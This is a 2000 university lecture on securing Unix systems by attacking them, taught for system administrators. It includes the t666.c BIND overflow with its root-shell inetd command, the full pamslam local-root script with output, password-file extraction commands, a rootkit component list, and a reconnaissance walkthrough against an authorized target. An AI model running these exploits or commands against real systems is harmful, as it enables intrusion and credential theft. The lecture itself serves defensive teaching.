April 5, 2000

Secure System Administration Lecture 1 (v4)

(or Security through attacking yourself!)

Keeping all the ducks in a row is more likely to benefit the foxes than the ducks.

- D. R. Morrison

by Scottie Swenson
Cellworks Project
University of Washington

This presentation is online at: cellworks.washington.edu (look for presentations link under resources)

"This is the stuff that will set you free. You better teach yourself about technology because nobody else is going to do it for you. Actually it's worse then that. Big gov and big biz don't want you to know what great systems they have cooking to control and manipulate us all. Step into one of these quality archives and read some of the info that has been created for you." L0PHT Archives site.

April 5, 2000

Talk Overview

- The Problem (Lecture 1)
  - Definition of the common problems
  - Some tools
  - Real examples of exploiting "harmless" services
  - Discussion of the New World
  - References and Summary
- Protecting your site (Lecture 2)
  - Definition of the common problems (review)
  - New system first steps
  - Old system review
  - Some more tools
  - More References and Summary

REMARKS

The topic of systems security can easily span a two week course. There is no way to completely discuss it in one session. Nor is it possible to deal with the subject in two 2 hour sessions.

These lectures are intended to be the sparks that get an ember burning in your mind. Remember it is an ember ONLY. To fully gain from these lectures you must explore, read, search, and above all imagine how to use the knowledge you are gaining.

The days of the 'old hacker' (when a hacker was a kid without experience or real knowledge with loads of free time) are NO LONGER. Hackers, and worse Crackers have knowledge, imagination, and in a lot of cases TALENT. This can be a very bad combination if your job is to keep them out.

Most Systems Administrators are just like a construction worker with a huge job site, loads of construction materials, but, no tools, no time and no PLAN. Hopefully you can begin getting the construction materials together. You have to have permission to test your tools, materials and IDEAS.

April 5, 2000

Approach

- Taking an unusual approach
  - Instead of "There is a problem" (theory discussion)
  - Show real examples of how "harmless" network services can be used on an attack
- Not trying to illuminate extremely advanced intrusions
  - Will show known to be used methods
  - Will also show suspected to be used methods
  - Will outline the methods to create more aware SysAdmins

REMARKS

This talk is very different from the "norm" on system security talks. Even as resent as November 1999 a MAJOR Unix and systems administrations magazine published a complete (>130 pages) magazine on "Systems Security". This magazine shouted from the cover "Major Points of Entry Crackers Look For", "Data Encryption Protection For Modern Systems", "Can Unix Measure Up?", etc., etc.

However, after reading the entire magazine I was disappointed to have gained ZERO additional knowledge. The articles regurgitated the same tired chant "beware the evil hacker, beware telnet misconfigurations, beware ftp misconfigurations, beware SMTP misconfigurations, beware TFTP, beware Web Servers setups, beware NFS, beware NIS, ..." In other words all the open ports on your servers that we need. But, it did not detail the PROBLEMS.

So in this talk I will take an infrequently traveled road. Instead of chanting the same chants I'll lay out a complete new rhythm. In fact instead of saying that service X is a possible problem, I will help you to see through the eyes of a potential intruder. Hopefully, this will show why it is one.

April 5, 2000

Goals of Talk

By the end you should have:

- A basic understand of hacking methods
- Developed some ideas for intrusion methods
- An idea of where to go for more knowledge

Knowledge is power,
Wisdom is divine.

REMARKS

Hopefully by the end of this first set you will:

- understand the various mechanisms that crackers have actually used to obtain access to systems
- see how a seemingly harmless network service can become a valuable tool in the search for weak points of a system
- learn some techniques security experts either suspect intruders of using, or that I have used in tests against authorized environments
- and, know where to start your own line of inquiry into the world of tools and information at the beck and call of the wanna-be hackers.

My motivation for doing this is that system administrators are often unaware of the dangers presented by anything beyond the most trivial attacks.
The purpose of this talk is to show you how to test the security of your own site, not how to break into other people's systems.

April 5, 2000

Definition of default

Some people would rather die than think; in fact, most do.

- Default means:
  - Computer (UNIX, DOS, Windows XX, MacOs XX, etc.) systems are not secure.
  - People are not secure.
  - Facilities are not secure.
- By definition:
  - H/Crackers know how to break in.
  - Crackers will take full advantage for any purpose.
  - Hackers will take full advantage for a look.
- Conclusion:
  - ***By default your site is not secure.***

REMARKS

Unfortunately ALL systems come set up so you can set them up. Which means ALL SECURITY IS OFF, THE SHIELDS ARE DOWN, and THE SYSTEM IS VULNERABLE. The only thing between a new system and a Hacker is KNOWLEDGE. That knowledge comes from the manuals. If you do not think that "they" have that manual, you are WRONG!.

Example: a SMALL excerpt from a network accessible source (47k text file):

```
DEFAULT VAX LOGINS:
     Username      Password
     --------      --------
     DECNET        DECNET
     DEFAULT       DEFAULT
     DEMO          DEMO
                   unpassworded
     FIELD         FIELD
                   SERVICE
     GUEST         GUEST
                   unpassworded
     OPERATOR      OPERATOR
     OPERATIONS    OPERATIONS
     SYSMAINT      SYSMAINT
                   SERVICE
                   DIGITAL
```

April 5, 2000

The Dark Ages of SysAdmins

- In the dark ages
  - Hackers used password guessing and lots of patience.
  - Hackers used human engineering (free soda) to get passwords.
  - Hackers had to get physical access to your site OR they had to dial in direct.
- Modern Times
  - Hackers have complicated automated scripts to break sites
  - Hackers use human engineering (free soda) to get passwords.
  - Hackers have the INTERNET.

REMARKS

From a wonderful paper by Dan Farmer and Wietse Venema (Improving the Security of Your Site by Breaking Into it).

“Fade to...

A young boy, with greasy blonde hair, sitting in a dark room. The room is illuminated only by the luminescence of the C64's 40 character screen. Taking another long drag from his Benson and Hedges cigarette, the weary system cracker telnets to the next faceless ".mil" site on his hit list. "guest -- guest", "root -- root", and "system -- manager" all fail. No matter. He has all night... he pencils the host off of his list, and tiredly types in the next potential victim... This seems to be the popular image of a system cracker. Young, inexperienced, and possessing vast quantities of time to waste, to get into just one more system. However, there is a far more dangerous type of system cracker out there. One who knows the ins and outs of the latest security auditing and cracking tools, who can modify them for specific attacks, and who can write his/her own programs. One who not only reads about the latest security holes, but also personally discovers bugs and vulnerabilities. A deadly creature that can both strike poisonously and hide its tracks without a whisper or hint of a trail. The uebercracker is here.“

April 5, 2000

The Ueberhacker

- A genuine ghost in the machine
- Capable of coming and going without leaving a single trace
- Unstoppable due to extreme knowledge
- Can do anything

A Myth?

Possibly, but getting more likely.

REMARKS

For years there has been talk of a "ueberhacker", a hacker that could enter your system, do anything they wanted, and completely remove all traces that they were in your system in the first place. How do you prove that this 'insubstantial' entity exists? You can't but the possibility is getting more and more likely that one or more exists.

In 1995 there was launched a sophisticated network attack against Purdue (what's new? right). Well this hacker was extremely deft at cross connecting hosts, jumping from port to port, using 7 dummy hosts as mere relays. It took an incredible effort by the authorities to take down this individual. In the mean time they fought a battle to stop him or her and finally, near the end were able to get a log of the activity being performed. This sophisticated attacker was gaining access to a highly secured super Unix main frame and entering "....
DIR ..... TYPE AUTOEXEC.BAT ..... HELP ... CD C:\ ..... EXIT"
Over and over and over.... It was a 12 year old boy two cities away that got a program from a BBS that simple unzipped to a single program entitled "RUNME.EXE" that then asked if the modem was available and on what port. It then dialed a local access port at a university, logged in, etc....

April 5, 2000

General Goals

- Find interesting or vulnerable systems
- Get access to a system
- Assure continued access to system
- Hide access attempt(s)
- Use system for fun and profit

REMARKS

No matter the means the goals have a few common threads: get in, get what we are after and get out. Like the wind. Mostly there is the idea of getting back later. There is always something else to play with or do.
Clever hackers have developed methods to conceal their activities, and programs to assist this concealment.
These methods and programs were documented in "philes" that populated underground bulletin boards and published in magazines -- electronic and hardcopy – like 2600 and Phrack.
For example, "Hiding Out Under Unix," by Black Tie Affair (Phrack Volume Three, Issue 25, File 6, March 25, 1989) includes source code for a program to edit the /etc/wtmp file to remove all logins records for compromised accounts.

April 5, 2000

Finding Interesting Systems

- Completely personal choices
- I get attacked a lot after each time I give this talk? Hmmm
- Articles listing cool projects
- IRC channel discussions
- Vulnerable site lists

REMARKS

The ways systems are targeted are as many and as varied as there are people in the world.

But, we can no leave out the possibility of true sabotage or espionage.

April 5, 2000

Password Sniffing

- Latest form that has everyone scrambling
  - Can not detect from any host but the sniffer
  - Compromises all hosts talked to from the subnet
- How it is done
  - Hacker gains root access (if the ethernet device is world writeable not needed)
  - Hacker installs program (A COMPILED PROGRAM)
  - Hacker hides log files
  - Hacker collects from time to time (or has an automated post out method)

REMARKS

First we have to get in. The easiest way in is the front door. If it is unlocked we can just waltz in like we belong there.

Password sniffing is by far the easiest thing to do. All they need is to watch traffic from their systems and replay the accounts and passwords they saw to get to another system then repeat.

April 5, 2000

Password Sniffer Output

```
Using logical device le0 [/dev/le0] Output to stdout.
Log started at -> Fri Feb 07 08:29:08 [pid 23456]
: -- TCP/IP LOG -- TM: Fri Feb 07 08:29:08
PATH: victim.host.bar.com(67811) ->
  local.host.bar.com(telnet)
STAT: Fri Feb 07 08:29:10, 34 pkts, 73 bytes [TH_FIN]
DATA: (255)(255)^C(255)(251)^X(255)(250)^X
: VT100(255)(240)(255)(253)^A(255)(252)^Alogin
: password
: -- TCP/IP LOG -- TM: Fri Feb 07 08:30:34
PATH: victim.host.bar.com(67811) ->
  local.host.bar.com(telnet)
STAT: Fri Feb 07 08:31:09, 14 pkts, 62 bytes [TH_FIN]
 DATA: USER lyong
 :   : PASS jk88kdf
```

REMARKS

I understand that prosecutors are having a real hard time figuring out how to define crimes. Maybe we could get some side jobs. Naaaa.. Its much better to be the local sheriff.

April 5, 2000

TCP Spoofing

- Hackers can
  - forge the source of a TCP packet
  - guess the correct sequence number
  - build a correct TCP/IP packet
- This
  - Breaks the "trusted host" security paradigm
  - Gets one full TCP/IP packet in the door
    Ask yourself: What can one packet do?
    Next Ask: How many characters can one packet hold?
    consider: "rm -rf /"
  - Has been shown to get through some firewalls!

REMARKS
But, why go through all the trouble to do this if the front door is open?

April 5, 2000

How About Remote Exploits? t666.c (1)

An interesting example:

ADM CONFIDENTIAL -- (ADM Confidential Restricted when combined with the aggregated modules for this product)
OBJECT CODE ONLY SOURCE MATERIALS
(C) COPYRIGHT ADM Crew. 1999
All Rights Reserved

This module may not be used, published, distributed or archived without the written permission of the ADM Crew. Please contact your local sales representative.

REMARKS

```
/*
 * ADM CONFIDENTIAL -- (ADM Confidential Restricted when
 * combined with the aggregated modules for this product)
 * OBJECT CODE ONLY SOURCE MATERIALS
 * (C) COPYRIGHT ADM Crew. 1999
 * All Rights Reserved
 *
 * This module may not be used, published, distributed or archived without
 * the written permission of the ADM Crew. Please contact your local sales
 * representative.
 *
 * ADM named 8.2/8.2.1 NXT remote overflow - horizon/plaguez
 *
 * "a misanthropic anthropoid with nothing to say"
 *
```

April 5, 2000

t666.c named 8.2/8.2.1 attack (2)

- Buffer overflow exploit for named 8.2/8.2.1
- Provides REMOTE ROOT SHELL ***and:***
  - Breaks chroot
  - Forks run command in case the fd duping doesn't work
  - Breaks Solaris/SPARC as well
  - Breaks NetBSD as well (without breaking chroot)
    - But can bypass problem using mknods in chroot environment

REMARKS

```
 * thanks to stran9er for sdnsofw.c
 *
 * Intel exploitation is pretty straightforward.. should give you a remote
 * shell. The shellcode will break chroot, do a getpeername on all open
 * sockets, and dup to the first one that returns AFINET. It also forks and
 * runs a command in case the fd duping doesn't go well.  Solaris/SPARC is a
 * bit more complicated.. we are going through a well trodden part of the
 * code, so we don't get the context switch we need to have it populate the
 * register windows from the stack. However, if you just hammer the service
 * with requests, you will quickly get a context switch at the right time.
 * Thus, the SPARC shellcode currently only breaks chroot, closes current
 * fd's and runs a command.
 * Also, the NetBSD shellcode doesn't break chroot because they stop the
 * dir tricks. Of course, they allow mknods in chrooted environments, so
 * if named is running as root, then it still might be expoitable.
 * The non-exec stack patch version returns into a malloc'ed buffer, whose
 * address can vary quite alot. Thus, it may not be as reliable as the other
 * versions..
*/
```

April 5, 2000

t666.c named 8.2/8.2.1 attack (3)

- Default command:

```
echo \"ingreslock stream tcp nowait
  root /bin/sh sh -i\" >>/tmp/bob ;
  /usr/sbin/inetd -s
  /tmp/bob;/bin/rm -f /tmp/bob
```

- Starts another inetd process which is listening on the ingreslock port that will start a root shell on any connect

REMARKS

In essence this program will start a process which will exploit named to run any command on any system that touches it.

After this all we have to do is telnet in.
Many intruders leave some configuration files in their standard location. An administrator who knew the locations of these programs and their configuration files could fairly easily disable them or use the "strings" program to look for suspect strings in the binary programs. Another method commonly used was to use "find" to locate all files modified within the last 24 hours. While "ls" would lie to you, "find“ would dutifully report files and directories, exposing them.
For example this type of attack leaves an inetd configuration file in /tmp called bob. There are a lot of attacks that do this.

April 5, 2000

Assuring Continuing Access

- Hacker attempts to get root
- Hacker uses scripts/utilities/etc to insure a return trip (RootKit, DemonKit, etc.).
- Hacker attempts to install a sniffer or password stealer
- Hacker runs sniffers in small time slots (usually 7-9) sometimes at random.

REMARKS

Clever hackers have developed methods to conceal their activities, and programs to assist this concealment. Over time, other clever programmers kicked into action and wrote programs to modify the timestamp and size of programs like "ls", "netstat", "ps" which were turned into "Trojan horses".

Just like the Trojan Horse used by the Greeks to sack Troy, these programs appear to be something you know and trust, but instead hold hidden features that trick the person running them into believing the output is truthful, very effectively allowing the intruder to harvest login passwords, conceal their files, network connections, and processes. Since the files had the same timestamp as other programs in the same directory, and appeared to have the same checksums (via another Trojan horse technique), the naive administrator of the system would see nothing out of the ordinary and give up, thinking the system to be "clean".

These Trojan horse programs were bundled together in the form of "Root Kits", the original written for Sun's Berkeley flavor of Unix (SunOS 4) and later for Linux, IRIX, AIX, and many, many others.

The introduction of the Linux Root Kit version 4 (lrk4), released in November 1998 added lots of new Trojan horse programs like "pidof" and "killall" (used to terminate running processes by name), "find" (used to locate files by type, name, date, etc.), "top" (shows processes), "crontab" (used to schedule periodic processes), and adds a new program to check for the sniffer.

April 5, 2000

Root Kits

- Linux Root Kit version 3 (lrk3), released in December of 1996 included tcp wrapper Trojans and password sniffers.
- Linux Root Kit version 4 (lrk4), released in November 1998 included: bindshell, chfn, chsh, crontab, du, find, fix, ifconfig, inetd, killall, linsniffer, login, ls, netstat, passwd, pidof, ps, rshd, sniffchk, syslogd, tcpd, top, wted, z2
- The next will be even more complete.

REMARKS

The complete list of programs included in the kit, from the README file, is:

```
bindshell       port/shell type daemon!
chfn            Trojaned! User->r00t
chsh            Trojaned! User->r00t
crontab         Trojaned! Hidden Crontab Entries
du              Trojaned! Hide files
find            Trojaned! Hide files
fix             File fixer!
ifconfig        Trojaned! Hide sniffing
inetd           Trojaned! Remote access
killall         Trojaned! Wont kill hidden processes
linsniffer      Packet sniffer!
login           Trojaned! Remote access
ls              Trojaned! Hide files
netstat         Trojaned! Hide connections
passwd          Trojaned! User->r00t
pidof           Trojaned! Hide processes
ps              Trojaned! Hide processes
rshd            Trojaned! Remote access
sniffchk        Program to check if sniffer is up and running
syslogd         Trojaned! Hide logs
tcpd            Trojaned! Hide connections, avoid denies
top             Trojaned! Hide processes
wted            wtmp/utmp editor!
z2              Zap2 utmp/wtmp/lastlog eraser!
```

April 5, 2000

Gaining Root Locally

- **This Uuencoded block becomes…**

```
begin 755 pamslam.sh
M(R$O8FEN+W-H"B,*(R!P86US;&%M("T@=G5L;F5R86)I;&ET>2!I;B!2961H
M870@3&EN=7@@-BXQ(&%N9"!004T@<&%M7W-T87)T"B,@9F]U;F0@8GD@9&EL
M9&]G0&PP<&AT+F-O;0HC("`*(R!S>6YO<'-I<SH*(R`@("!B;W1H("=P86TG
M(&%N9"`G=7-E<FAE;'!E<B<@*&$@<V5T=6ED(&)I;F%R>2!T:&%T(&-O;65S
M('=I=&@@=&AE"B,@("`@)W5S97)M;V1E+3$N,34G(')P;2D@9F]L;&]W("XN
M('!A=&AS+B!3:6YC92!P86U?<W1A<G0@8V%L;',@9&]W;B!T;PHC("`@(%]P
M86U?861D7VAA;F1L97(H*2P@=V4@8V%N(&=E="!I="!T;R!D;&]P96X@86YY
M(&9I;&4@;VX@9&ES:RX@)W5S97)H96QP97(G"B,@("`@8F5I;F<@<V5T=6ED
M(&UE86YS('=E(&-A;B!G970@<F]O="X@"B,*(R!F:7@Z(`HC("`@($YO(&9U
M8VMI;B!I9&5A(&9O<B!A(&=O;V0@9FEX+B!'970@<FED(&]F('1H92`N+B!P
M871H<R!I;B!U<V5R:&5L<&5R(`HC("`@(&9O<B!A('%U:6-K(&9I>"X@4F5M
M96UB97(@)W-T<F-A="<@:7-N)W0@82!V97)Y(&=O;V0@=V%Y(&]F(&-O;F9I
M;FEN9PHC("`@(&$@<&%T:"!T;R!A('!A<G1I8W5L87(@<W5B9&ER96-T;W)Y
M+@HC"B,@<')O<',@=&\@;7D@;6]M;7D@86YD(&1A9&1Y+"!C=7H@=&AE>2!M
M861E(&UE(&1R:6YK(&UY(&UI;&LN"@IC870@/B!?<&%M<VQA;2YC(#P\($5/
M1@HC:6YC;'5D93QS=&1L:6(N:#X*(VEN8VQU9&4\=6YI<W1D+F@^"B-I;F-L
M=61E/'-Y<R]T>7!E<RYH/@IV;VED(%]I;FET*'9O:60I"GL*("`@('-E='5I
M9"AG971E=6ED*"DI.PH@("`@<WES=&5M*"(O8FEN+W-H(BD["GT*14]&"@IE
M8VAO("UN("X*"F5C:&\@+64@875T:%Q<=')E<75I<F5D7%QT)%!71"]?<&%M
M<VQA;2YS;R`^(%]P86US;&%M+F-O;F8*8VAM;V0@-S4U(%]P86US;&%M+F-O
M;F8*"F5C:&\@+6X@+@H*9V-C("UF4$E#("UO(%]P86US;&%M+F\@+6,@7W!A
M;7-L86TN8PH*96-H;R`M;B!O"@IL9"`M<VAA<F5D("UO(%]P86US;&%M+G-O
M(%]P86US;&%M+F\*"F5C:&\@+6X@;PH*8VAM;V0@-S4U(%]P86US;&%M+G-O
M"@IE8VAO("UN($\*"G)M(%]P86US;&%M+F,*<FT@7W!A;7-L86TN;PH*96-H
M;R!/"@HO=7-R+W-B:6XO=7-E<FAE;'!E<B`M=R`N+B\N+B\N+B105T0O7W!A
M;7-L86TN8V]N9@H*<VQE97`@,7,*"G)M(%]P86US;&%M+G-O"G)M(%]P86US
*;&%M+F-O;F8*"@``
`
end
```

REMARKS

Not as difficult as you might think.

April 5, 2000

Gaining Root Locally (2)

This Shell Script…(edited for space)

```
cat > _pamslam.c << EOF
#include<stdlib.h>
#include<unistd.h>
#include<sys/types.h>
void _init(void)
{
    setuid(geteuid());
    system("/bin/sh");
}
EOF
echo -n .
echo -e auth\\trequired\\t$PWD/_pamslam.so > _pamslam.conf
chmod 755 _pamslam.conf
echo -n .
gcc -fPIC -o _pamslam.o -c _pamslam.c
echo -n o
ld -shared -o _pamslam.so _pamslam.o
echo -n o
chmod 755 _pamslam.so
echo -n O
rm _pamslam.c
rm _pamslam.o
echo O
/usr/sbin/userhelper -w ../../..$PWD/_pamslam.conf
sleep 1s
rm _pamslam.so
rm _pamslam.conf
```

REMARKS

The comments in the script are:

```
# pamslam - vulnerability in Redhat Linux 6.1 and PAM
# pam_start found by dildog@l0pht.com
#
# synopsis:
#  both 'pam' and 'userhelper' (a setuid binary that comes with
#  the 'usermode-1.15' rpm) follow .. paths. Since pam_start
#  calls down to _pam_add_handler(), we can get it to dlopen
#  any file on disk. 'userhelper‘ being setuid means we can
#  get root.
#
# fix:
#  No fuckin idea for a good fix. Get rid of the .. Paths
#  in userhelper for a quick fix. Remember 'strcat' isn't a
#  very good way of confining a path to a particular
#  subdirectory.
#
# props to my mommy and daddy, cuz they made me drink my milk.
```

April 5, 2000

Gaining Root Locally (3)

- **Which when executed…**
- On MY current/patched Linux System on 4/05/2000 yielded this result:

```
[swenson@brimir hope]$ whoami
swenson
[swenson@brimir hope]$ ./pamslam.sh
..ooOO
bash# whoami
root
```

REMARKS

Complete output:

```
[swenson@brimir hope]$ whoami
swenson
[swenson@brimir hope]$ ls
uu_pamslam
[swenson@brimir hope]$ uudecode uu_pamslam
[swenson@brimir hope]$ ls
pamslam.sh  uu_pamslam
[swenson@brimir hope]$ ./pamslam.sh
..ooOO
bash# whoami
root
bash# pwd
/dsk/hdb01/home/swenson/hope
bash# ls
_pamslam.conf  _pamslam.so  pamslam.sh  uu_pamslam
bash# exit
[swenson@brimir hope]$ ls
pamslam.sh  uu_pamslam
```

April 5, 2000

Hiding Attacks

- Hackers getting real good at hiding intrusions
  - A modified /etc/login:
    - was the correct length,
    - had the same checksum,
    - had correct permissions and
    - had correct last-mod date
- Only detectable by
  - Comparing against read only install media (if the vender wasn't compromised as well)
  - Using cryptographic signatures (MD5)

REMARKS

In recent root kits we have seen some pretty neat things. Most interesting is executables which look just right. Except they have not yet beat MD5 checksums.

April 5, 2000

Hiding Attacking Data

- Hacker hides files cleverly from normal file scans. Give this a thought:

```
Create a new directory called weird
unlink ./..
ln weird ./..
rmdir weird
```

  – Now /usr/home/user1/.. is the old weird directory

REMARKS

The odd directory problem is removed because all the venders have removed the ability to hard link from the ln program. But, the mkdir program still calls the same libraries as before. So all we need to do is compile our own ln without the constraints....And be root...

April 5, 2000

Password Stealing via libc exploit

Hackers can get /etc/passwd (with hashes) easily

```
$ echo "#include <pwd.h> \
main(){ struct passwd *p; while(p=getpwent())\
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name,\
p->pw_passwd, p->pw_uid, p->pw_gid,\
p->pw_gecos, p->pw_dir, p->pw_shell);}" >
tmp.c
$ cc -o unshadow -O tmp.c
$ unshadow > gotcha
```

REMARKS

After gaining even a small inroad into a system getting the password file is usually a simple matter for even a lightly educated hacker. The most widely used resources are also the ones that may provide just enough access to get the password file.

Preventing the first pass is where the best energies are spent preparing a site. After a security plan is in place Audit, Audit, Audit. Detecting the second phase should be of primary importance.

Once the password file has been grabbed hackers can then use CRACK or similar tools to get more accounts (or root if they are lucky).

April 5, 2000

Password Stealing via Shared Account Services

Hackers can get /etc/passwd (with hashes) easily

- Running NIS?

  `ypx -gs -m passwd <host> [<domainname>] > gotcha`

- Running NIS+?

  `ypprobe dns.domain`

  – THEN:

  `ypx -gs -m passwd <identified NIS subagent> > gotcha`

REMARK

Shared account services have their own strange problems. NIS and NIS+ are well known and easy to probe.

NIS is simple enough.

NIS+ is a harder nut to crack. But, it has support for NIS built in, including all the NIS insecurities. So a simple NIS probe to the NIS+ server will flip on NIS support. After that it is as easy as NIS. (This feature can be turned off. But, it is on by default.)

By the way this is NOT the only vulnerability in NIS+ it just fits on the slide neatly. Try looking for NIS+ exploits on the Internet.

April 5, 2000

Password Stealing via System Applications

Hackers can get /etc/passwd (with hashes) easily

- How about an old sendmail bug?
  `sendmail -c /etc/shadow > gotcha 2>&1`
- There are many other programs that have root access and accept configuration files.
  - Find these with:
    `find / -perm 4000 -print`

REMARKS

This particular bug has been fixed everywhere I have checked. But, only if you are running patched or moderately current software. Try it and see.

Any program that has the setuid bit on and is owned by root is a vulnerable link in your security.

From my system:

```
[swenson@brimir]$ find / -perm +4000 -uid 0 -print 2>/dev/null
/usr/X11R6/bin/Xwrapper
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/crontab
/usr/bin/at
/usr/bin/dos
/usr/bin/lpq
/usr/bin/lpr
/usr/bin/lprm
/usr/bin/passwd
/usr/bin/suidperl
/usr/bin/sperl5.00503
/usr/bin/procmail
/usr/bin/rcp
/usr/bin/rlogin
/usr/bin/rsh
/usr/bin/chfn
[…]
```

April 5, 2000

An Attack from Nothing to Access

- Real attack.
  - Target was litterate on hacking from a "normal presentation" stand point.
  - LIVE and AWARE target.
  - Target's upper management signed off on the attack as a "free security evaulation".
  - Target was a development environment with real value software and trade secrets.
- TARGET did NOT detect the attack.
- ALL transcripts were given to the target.

REMARKS

Results were not uncommon. They took a long time but target is more secure today.

Target's management changed Information Systems Budget:

- Added a training budget for 3 to attend 5 expensive courses
- Added 2x the above on the condition the conferences were security related

April 5, 2000

Initial Information Gathering

- As a plain user from anywhere:

```
$ nslookup
Default Server:  gladsheim.YOU.GOT.ME.xxxxx.xxx
Address:  393.303.100.1
> set type=MX
> target.com
Server:  gladsheim.YOU.GOT.ME.xxxxx.xxx
Address:  393.303.100.1

Non-authoritative answer:
target.com      preference = 10, mail exchanger = mail1.target.com
target.com      preference = 10, mail exchanger = mail2.target.com

Authoritative answers can be found from:
OTHER.TARGET.COM        nameserver = ns.mci.com
OTHER.TARGET.COM        nameserver = kingdom.COMPUTING.TARGET.COM
OTHER.TARGET.COM        nameserver = empire.COMPUTING.TARGET.COM
mail1.target.com  internet address = 278.346.32.6
mail2.target.com  internet address = 278.346.33.5
ns.mci.com      internet address = 428.444.444.101
kingdom.COMPUTING.TARGET.COM       internet address = 278.346.35.1
empire.COMPUTING.TARGET.COM     internet address = 278.346.36.1
```

REMARKS

After a short bit of nosing around with a web browser and a few polite mail lookups in the online mail servers I know that the target has a sub domain of TARGET.COM. I have not TOUCHED any of their hosts in anyway as yet. The host gladsheim is my own system (Sparc 5/85 with Solaris 2.5). I have set up a fake dns system to echo back an obviously false dns reverse lookup of YOU.GOT.ME.xxxxx.xxx.xxx. But, they never got that far. So now the FUN begins...

April 5, 2000

Initial Results Reveal

- target = TARGET.COM
- mail goes to
  - mail1.target.com
  - mail2.target.com
- DNS is available from
  - ns.mci.com
  - empire.COMPUTING.TARGET.COM
  - kingdom.COMPUTING.TARGET.COM

REMARKS

So now I have some data about my target. I know that they handle their own mail and that they have some ISP help for DNS.

Now I just need a little more information.

April 5, 2000

Trying for Direct DNS Data

```
> set type=A
> server kingdom.computing.target.com
Default Server:
kingdom.computing.target.com
Address: 278.346.35.1
> ls -a target.com
[kingdom.computing.target.com]
*** Can't list domain TARGET.COM: No
  information
```

REMARKS

Good, they have locked down their DNS system to not just give anyone a map of their networks.

But, there are other players in this game....

April 5, 2000

Trying for Indirect DNS Data

Since they have an ISP helping out. Lets ask the ISP for help.

```
> server ns.mci.com
Default Server: ns.mci.com
Address: 428.444.444.101
> ls -a target.com
[ns.mci.com]
Bear Bear.TARGET.COM
gold gold.TARGET.COM
pj pj.TARGET.COM
read read.TARGET.COM
[...]
loghost loghost.TARGET.COM
loghost zeus.TARGET.COM
taq fer.TARGET.COM
www hermes.TARGET.COM
```

REMARKS

Pay dirt. This is good stuff.

April 5, 2000

Getting Solid Indirect Host Data

Oops, although they are tight lipped, the ISP is a gossip. Even better!

```
> ls -h TARGET.COM
[ns.mci.com]
TARGET.COM.                ; Dept = Some weirdness
read                        XTerminal   xdm
bear                        Feb         ofs/1
gold                        MacIIci     MacOS
king                        MacII       MacOS
cheap                       486PC       Linux
dianna                      MacII       MacOS
howdy                       Mac     IIcx    sys7.0
zeus                        HP9000/735  hpux
clid                        486PC       OS/2
kinki                       PowerMac7100  MacOS
[...]
```

REMARKS

```
> ls -h TARGET.COM
[ns.mci.com]
TARGET.COM.                        ; Dept = Some weirdness
read                        XTerminal   xdm
bear                        Feb         ofs/1
gold                        MacIIci     MacOS
king                        MacII       MacOS
cheap                       486PC       Linux
dianna                      MacII       MacOS
howdy                       Mac     IIcx    sys7.0
zeus                        HP9000/735  hpux
clid                        486PC       OS/2
kinki                       PowerMac7100  MacOS
[...]
labcam                      386         DOS
bochhead                    PowerMac 7100  System 7.5
hawk                        PowerBook   MacOS
> exit
```

April 5, 2000

Gently Probe

- OK, so lets have a peak inside.

```
$ finger @zeus.TARGET.COM
[zeus.TARGET.COM]

$ showmount -e zeus.TARGET.COM
showmount: zeus.TARGET.COM: RPC: Rpcbind failure - RPC:
  Timed out
```

- Oh good they have their central system locked out from finger.

REMARKS

You have heard that finger is bad. The reason that finger is so bad is that, with a few exceptions, it is not used as much as you might think, yet it provides a cheap and easy way for hackers to probe a system. Using finger hackers can gently nudge the system to see who is there and what is going on.

But, not here. Their main system is blocking my attempts to look in. This promises to be harder to crack.

April 5, 2000

Gently Probe Other Systems

- Pick a random UNIX station from my list and try again.

```
$ ping blond.TARGET.COM
blond.TARGET.COM is alive

$ finger @blond.TARGET.COM
[blond.TARGET.COM]
Login       Name         TTY Idle    When     Office
planner1 planner1         p0   3d Wed 16:50
planner1 planner1         p1   9d Wed 16:47
planner1 planner1         co  30d Wed 16:22
```

REMARKS

Keys to recognize here, planner1 is not really a good user name. So it might be a shared account. Also, the account is logged into the machine from the console with excessive Idle Time. While the other connections are to ttyp ports (logical ports like on an X environment). So they leave this account logged in and open windows when needed is a good guess.

April 5, 2000

Gently Probe a User

- Well since finger is open check out the logged in user

```
$ finger planner1@blond.TARGET.COM
[blond.TARGET.COM]
Login name: planner1              In real life: planner1
Directory: /users/planner1          Shell: /bin/csh
On since Oct 25 16:50:31 on ttyp0 from :0.0
3 days 12 hours Idle Time
No Plan.

Login name: planner1              In real life: planner1
Directory: /users/planner1          Shell: /bin/csh
On since Oct 25 16:47:11 on ttyp1 from :0.0
9 days 5 hours Idle Time
No Plan.
[…]
```

REMARKS

Since this looks like a shared account that is left around it is most likely safe to probe it. This yields very interesting information. Specifically the shell, home directory and the “real name”.

April 5, 2000

Check for NFS Exports

- On a whim lets see if this UNIX station is exporting anything.

```
$ showmount -e blond.TARGET.COM
export list for blond.TARGET.COM:
/usr/man          (everyone)
/users/planner1   (everyone)
/users/randy      (everyone)
/users/peppie     (everyone)
/vfs              (everyone)
/users/ashley     (everyone)
/users/karen      (everyone)
```

- Hitting pay dirt this fast! I am suspicious.

REMARKS

Why be suspicious? Ever hear of a honey pot. A machine that stands out and looks disserted. But, is actually being watched very closely. I am not going to fall into that trap if I can help it.

April 5, 2000

Check Out Another Host

- Pick another UNIX based machine and have a look.

```
$ finger @bug.TARGET.COM
[bug.TARGET.COM]

$ showmount -e bug.TARGET.COM
export list for bug.TARGET.COM:
/make1 (everyone)
/make2 (everyone)
/make3 (everyone)
/make4 (everyone)
```

REMARKS

This is way too easy!

I am beginning to worry about my friend's site. This is obviously a site out of control and in the hands of the "users" who do not want to be bothered with administering their machines.

April 5, 2000

Pick Another Host Target

- This is looking very bad for the site
- Try yet another machine, can never have too many targets

```
$ finger @lover.TARGET.COM
[lover.TARGET.COM]

$ showmount -e lover.TARGET.COM
showmount: lover.TARGET.COM: \
RPC: Miscellaneous tli error - Incorrect flags specified
```

REMARKS
Nothing interesting.

April 5, 2000

More Scanning and Probing

- More UNIX machines

```
$ finger @evileye.TARGET.COM
$ ping cold.TARGET.COM
cold.TARGET.COM is alive
$ finger @cold.TARGET.COM
[cold.TARGET.COM]
Login       Name           TTY Idle    When        Office
planner1 planner1          p0   5d Sun 10:37
planner1 planner1          co   3d Fri 16:00
$ finger planner1@cold.TARGET.COM
[cold.TARGET.COM]
Login name: planner1                    In real life:
  planner1
Directory: /usr/users/planner1          Shell: /bin/csh
